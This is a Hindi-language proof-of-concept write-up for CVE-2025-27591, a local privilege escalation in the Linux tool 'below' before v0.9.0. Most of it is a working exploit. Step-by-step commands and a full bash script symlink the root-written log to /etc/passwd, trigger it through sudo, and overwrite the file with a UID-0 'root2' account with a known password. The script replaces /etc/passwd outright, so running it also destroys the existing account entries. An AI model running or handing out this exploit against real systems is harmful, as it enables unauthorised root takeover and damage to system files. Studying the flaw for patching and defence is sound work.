
`below` (CVE-2025-27591) के माध्यम से स्थानीय विशेषाधिकार वृद्धि - PoC एक्सप्लॉइट
Below एक Linux टूल है जो हार्डवेयर उपयोग और cgroup मेट्रिक्स जैसे सिस्टम डेटा को रिकॉर्ड और प्रदर्शित करता है।
v0.9.0 से पहले के संस्करणों में, Below की systemd सेवा root विशेषाधिकारों के साथ चलती है और /var/log/below के अंतर्गत world-writable लॉग निर्देशिकाएँ और फ़ाइलें बनाती है। यह असुरक्षित कॉन्फ़िगरेशन सिम्लिंक हमलों को सक्षम बनाता है, जिनकी मदद से एक गैर-विशेषाधिकार प्राप्त स्थानीय उपयोगकर्ता root तक विशेषाधिकार बढ़ा सकता है।
यह मुद्दा CVE-2025-27591 निर्धारित किया गया था।
अपस्ट्रीम ने इसे v0.9.0 में ठीक किया।
/var/log/below में सिम्लिंक हमला/var/log/below के लिए 0777 अनुमतियाँ सुनिश्चित करता है।/var/log/below/error_root.log को 0666 अनुमतियों के साथ भी बनाता है।/etc/passwd) के सिम्लिंक से बदल सकता है।यह व्यवहार कर्नेल के protected_symlinks हार्डनिंग को बायपास करता है क्योंकि sticky bit लागू नहीं होता है।
error_root.log को /etc/passwd की ओर इंगित करके, हम ज्ञात पासवर्ड के साथ एक नया root उपयोगकर्ता इंजेक्ट कर सकते हैं।
चरण 1: /etc/passwd का बैकअप बनाएँ।
सिस्टम फ़ाइलों को संशोधित करने से पहले हमेशा बैकअप लें:
cp /etc/passwd /tmp/passwd.bak
चरण 2: एक दुर्भावनापूर्ण उपयोगकर्ता प्रविष्टि बनाएँ
HASH=$(openssl passwd -6 'rooted123')
echo "root2:$HASH:0:0:root:/root:/bin/bash" > /tmp/payload
चरण 3: भेद्य लॉग को सिम्लिंक करें
rm -f /var/log/below/error_root.log
ln -s /etc/passwd /var/log/below/error_root.log
चरण 4: लॉग निर्माण ट्रिगर करें
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1
चरण 5: /etc/passwd को ओवरराइट करें
cat /tmp/payload > /var/log/below/error_root.log
चरण 6: नए root उपयोगकर्ता पर स्विच करें
su root2
# password: rooted123
#!/bin/bash
# CVE-2025-27591 Exploit - Privilege Escalation via 'below'
TARGET="/etc/passwd"
LINK_PATH="/var/log/below/error_root.log"
TMP_PAYLOAD="/tmp/payload"
BACKUP="/tmp/passwd.bak"
echo "[*] CVE-2025-27591 Privilege Escalation Exploit"
# Check for sudo access to below
echo "[*] Checking sudo permissions..."
if ! sudo -l | grep -q '/usr/bin/below'; then
echo "[!] 'below' is not available via sudo. Exiting."
exit 1
fi
# Backup current /etc/passwd
echo "[*] Backing up /etc/passwd to $BACKUP"
cp /etc/passwd "$BACKUP"
# Generate password hash for 'root2' user (password: rooted123)
echo "[*] Generating password hash..."
HASH=$(openssl passwd -6 'rooted123')
# Prepare malicious passwd line
echo "[*] Creating malicious passwd line..."
echo "root2:$HASH:0:0:root:/root:/bin/bash" > "$TMP_PAYLOAD"
# Create symlink
echo "[*] Linking $LINK_PATH to $TARGET"
rm -f "$LINK_PATH"
ln -sf "$TARGET" "$LINK_PATH"
# Trigger log creation with invalid --time to force below to recreate the log
echo "[*] Triggering 'below' to write to symlinked log..."
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1
# Overwrite passwd file via symlink
echo "[*] Injecting malicious user into /etc/passwd"
cat "$TMP_PAYLOAD" > "$LINK_PATH"
# Test access
echo "[*] Try switching to 'root2' using password: rooted123"
su root2
